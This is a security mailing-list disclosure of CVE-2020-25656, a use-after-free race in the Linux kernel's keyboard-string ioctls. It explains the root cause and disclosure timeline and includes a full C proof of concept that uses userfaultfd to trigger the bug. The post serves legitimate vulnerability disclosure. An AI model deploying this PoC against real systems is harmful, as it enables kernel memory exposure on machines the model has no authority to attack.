Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 16 Oct 2020 11:39:34 +0800
From: Minh Yuan <yuanmingbuaa@...il.com>
To: oss-security@...ts.openwall.com
Cc: nopitydays@...il.com
Subject: CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl

Hi,

We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
version 3.4 to the latest version (v5.9 for now).

The root cause of this vulnerability is that there exits a race in
KDGKBSENT and KDSKBSENT.

Here are details:
1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
func_table, at the same time, due to KDGKBSENT has no lock, we can use
KDSKBSENT again to allocate a larger buffer than step1, and the old
funcbufptr will be freed. However, we've obtained the heap pointer in
KDGKBSENT, so a uaf read will happen while executing put_user.

I've successfully reproduced this bug in a special way.
However, to write a universal PoC for anyone else to reproduce it,  I use
userfaultfd to handle the order of "free" and "use" in multithreading
environment. This is my PoC:

// author by ziiiro@thu
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                       } while (0)

#define KDGKBSENT 0x4B48 /* gets one function key string entry */
#define KDSKBSENT 0x4B49 /* sets one function key string entry */

struct kbsentry {
unsigned char kb_func;
unsigned char kb_string[512];
};
int fd;
static int page_size;
static void *fault_handler_thread(void *arg) {
  unsigned long value;
  static struct uffd_msg msg;
  static int fault_cnt = 0;
  long uffd;
  static char *page = NULL;
  struct uffdio_copy uffdio_copy;
  int len, i;
  if (page == NULL) {
    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
  }
  uffd = (long)arg;

  for(;;) {
    struct pollfd pollfd;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    len = poll(&pollfd, 1, -1);


    read(uffd, &msg, sizeof(msg));
    printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
    printf("    address = 0x%lx\n", msg.arg.pagefault.address);
    switch(fault_cnt) {
        case 0:
            puts("triggered in the first page!");
            break;
        case 1:
            puts("triggered in the seccond page!");
            munmap((void*)0x233000,page_size);
            void *addr = (void*)mmap((void*)0x233000,
                        page_size,
                        PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                        -1, 0);
            if ((unsigned long)addr != 0x233000)
                errExit("mmap (0x233000)");
            // register 0x233000 again to trigger put_user
            struct uffdio_register uffdio_register;
            uffdio_register.range.start = (unsigned long)addr;
            uffdio_register.range.len   = page_size;
            uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
            if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
                errExit("ioctl: UFFDIO_REGITER");
            break;
        case 2:
            puts("triggered in put_user!");
            struct kbsentry *kbs;
            kbs = malloc(sizeof(struct kbsentry));
            kbs->kb_func = 0;

strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
            // free old funcbufptr
            ioctl(fd,KDSKBSENT,kbs);
            break;

    }
    // return to kernel-land
    uffdio_copy.src = (unsigned long)page;
    uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
    uffdio_copy.len = page_size;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
        errExit("ioctl: UFFDIO_COPY");

    fault_cnt++;

  }
}
// use userfaultfd to handle free->use
void setup_pagefault(void *addr, unsigned size) {
  long uffd;
  pthread_t th;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;
  // new userfaulfd

  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) errExit("userfaultfd");
  // enabled uffd object
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
UFFDIO_API");
  // register memory address
  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len   = size;
  uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
//UFFDIO_REGISTER_MODE_WP;//
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl:
UFFDIO_REGITER");
  // monitor page fault
  s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
  if (s != 0) errExit("pthread_create");
}


int main(int argc, char** argv)
{
        struct kbsentry *kbs;
        pthread_t th;
        page_size = sysconf(_SC_PAGE_SIZE);
        void *addr = (void*)mmap((void*)0x233000,
                            page_size * 2,
                            PROT_READ | PROT_WRITE,
                            MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                            -1, 0);
        if ((unsigned long)addr != 0x233000)
            errExit("mmap (0x233000)");
        setup_pagefault(addr, page_size * 2);
        kbs = malloc(sizeof(struct kbsentry));
        kbs->kb_func = 0;
        fd = open("/dev/tty1", O_RDONLY, 0);

strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
        // allocate a lager funcbufptr
        ioctl(fd,KDSKBSENT,kbs);
        // use KDGKBSENT to access the new funcbufptr
        ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
        return 1;

}

Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
is also needed. Besides, it needs the privilege to access tty to trigger
this bug.

We've noticed that this bug was also discovered by Syzbot 8 months ago, but
no one has successfully reproduced it (
https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
leaving this issue ignored and upatched yet. Hope this PoC can help
someone.

Timeline:
* 10.15.20 - Vulnerability reported to security@...nel.org and
linux-distros@...openwall.org.
* 10.15.20 - CVE-2020-25656 assigned.
* 10.16.20 - Vulnerability opened.

Thanks,
Yuan Ming and Bodong Zhao, Tsinghua University

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.